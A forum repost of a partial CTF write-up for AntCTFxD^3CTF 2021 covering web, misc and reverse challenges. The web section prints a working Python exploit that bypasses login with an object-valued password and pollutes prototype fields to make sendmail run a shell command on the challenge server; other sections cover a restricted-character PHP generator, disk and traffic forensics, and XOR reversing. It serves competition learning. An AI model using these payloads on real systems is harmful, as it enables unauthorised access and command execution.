安全矩阵

 找回密码
 立即注册
搜索
查看: 2642|回复: 0

AntCTFxD^3CTF2021 部分WriteUp

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-3-11 09:47:46 | 显示全部楼层 |阅读模式
原文链接:AntCTFxD^3CTF2021 部分WriteUp
AntCTFxD^3CTF


Web

8-bit pub
一般代码审计

登陆绕过,组一下就可以{"username":"admin","password":{"password":true}}

登陆后就是邮箱,sendmail可以任意读,args可以命令执行,思路就是直接把命令执行readflag结果导入tmp/flag然后读就行了

exp:

  1. <pre><code># coding:utf-8</code><code>import requests</code>
  2. <code>url = 'http://9267351e50.8bit-pub.d3ctf.io/'</code><code>sess = requests.session()</code><code>headers = {</code><code>    'Content-Type': 'application/json'</code><code>}</code><code>class flag:</code><code>    def login_admin():</code><code>        data = '{"username":"admin","password":{"password":true}}'</code><code>        res = sess.post(url + 'user/signin', data=data, headers=headers)</code><code>        print(res.text)</code>
  3. <code>    def readflag():</code><code>        data = '{"to":"1783671926@qq.com","subject":"snowywar","text":"xxxx","constructor.prototype.path":"sh","constructor.prototype.sendmail":true,"constructor.prototype.args":["-c","/readflag>/tmp/flag"]}'</code><code>        res = sess.post(url+'admin/email',data=data,headers=headers)</code><code>        print(res.text)</code>
  4. <code>if __name__ == '__main__':</code><code>    flag.login_admin()</code><code>    flag.readflag()</code></pre><p>
  5. </p><p><span tabindex="-1" data-cke-widget-wrapper="1" data-cke-filter="off" class="cke_widget_wrapper cke_widget_inline cke_widget_image cke_image_nocaption cke_widget_selected" data-cke-display-name="图像" data-cke-widget-id="64" role="region" aria-label="图片 图像 小部件" style="" contenteditable="false"></span></p>
复制代码



Misc


★shellgen2

除了php标签外,只能使用0-9$_;+[].=<?>中的字符,需要输出任意指定的小写字符串。考虑使用<?=输出字符串,为了使生成的PHP脚本尽可能短,首先使用09_字符构建变量名储存生成的a-z字符。为了生成a-z,使用两个[]字符串拼接得到ArrayArray,然后取其中的a;再使用自加得到a-z。


最后的python脚本为:

  1. <code>input_a=input()</code><code>beg='''<?php $_=[].[];$_999=0;$_999++;$_999++;$_999++;$_=$_[$_999];$____=$_;'''</code><code>par='_09'</code><code>let_dic={}</code><code>for i in range(3):</code><code>    for j in range(3):</code><code>        for p in range(3):</code><code>            let_dic[chr(97+p+j*3+i*3*3)]="$_"+par[i]+par[j]+par[p]</code><code>keys=list(let_dic.keys())</code>
  2. <code>let_dic[keys[i]]+'=$_;'</code><code>for i in range(25):</code><code>    beg+='$_++;'+let_dic[keys[i+1]]+'=$_;'</code>
  3. <code>beg+='?><?='+let_dic[input_a[0]]</code>
  4. <code>for let in input_a[1:]:</code><code>    beg+='.'+let_dic[let]</code>
  5. <code>beg+=';'</code><code>print(beg,end="")</code>
复制代码



★Virtual Love
麻了,一个非预期能修两次,麻了,每次都下载6个g内容,强奸我硬盘

参考文章:
【解密 】Vmware虚拟磁盘文件-电子物证-二十次幂 (ershicimi.com)

https://www.ershicimi.com/p/a85955bf672a9dc6e412ad70648870fd

首先它给了正常的iso,导入vm后可以发现是正常的centos7的系统

首先把他的centos7导入vm,然后查看他所生成的文件,

将centos7所生成的vmx以及vmsd直接替换至题目的文件

之后使用010进行修改s001-s006.vmdk的文件头



对照着修改,很容易发现规律。

最后修改vmx的内容,也一样对照着修改



随后便可以开机,给了内容说是guest,可以直接登录

取证一般套路就是直接history



看得出来需要去获取root权限

这里直接进编译模式了,网上一堆文章,丢个链接在这

centos7重置密码连接

CentOS7忘记root密码,重置root密码蝈蝈的博客-CSDN博客centos7重置root密码
  1. https://blog.csdn.net/gnail_oug/article/details/94721777
复制代码



重置后就可以看见文件了



04开头是解压密码,7@是目标文件,剩下就没啥了

计算md5:md5sum

★Robust
打开pcapng,首选项导入log,解密出http3数据流




右键追踪流QUIC流




发现是HIS传输,筛选所有http3包,在Decrypted QUIC处发现HLS数据




然后多个人开始手动复制粘贴成文件,根据HEADERS区分文件  (学弟学妹y(老)y(工)d(具)s(人))




接下来解HLS音频流,按照如下修改后使用ffmpeg进行合并,得到一个mp4文件。





ffmpeg -allowed_extensions ALL -i _music_index.m3u8 -c copy output.mp4

根据给出的hint链接找到如下工具:
https://github.com/quiet/quiet

使用quiet的ultrasonic模式解得一段base64编码,进而得到一个zip文件



lyric是网易云的网页接口:访问
http://music.163.com/api/song/ly ... &kv=1&tv=-1

得到一段json,存成txt大小与zip中相吻合,直接进行明文爆破




解压出txt一个,是0宽隐写,然而有一说一,做了字符集替换把我恶心导论

在线网页:
Unicode Steganography with Zero-Width Characters (330k.github.io)
http://330k.github.io/misc_tools/unicode_steganography.html

如下设置



解密后



相关文章:
https://support.f5.com/csp/article/K05822509
https://www.cellstream.com/refer ... nalyze-quic-traffic
https://blog.csdn.net/weixin_37035452/article/details/93763122

Reverse

JumpjumpIda打开,shift+F12查看字符串:





跟进后来到关键函数,F5大法查看伪代码:





通过分析,有两个关键函数,sub_40189D()和sub_40191E(),第一个函数:





继续跟进:





for循环里的就是第一轮异或,后面的sub_408A80()函数经过动态调试发现为反调试手段,

只要不进入该函数,直接F9到下一个断点前即可继续运行程序。

第二个函数:








将第一轮异或后的值加4之后与0x33异或,再与dword_4CC100[]数组比较。

总的来说就是两轮异或(感觉就是一道签到题。。。)

脚本:





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-21 03:16 , Processed in 0.016718 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表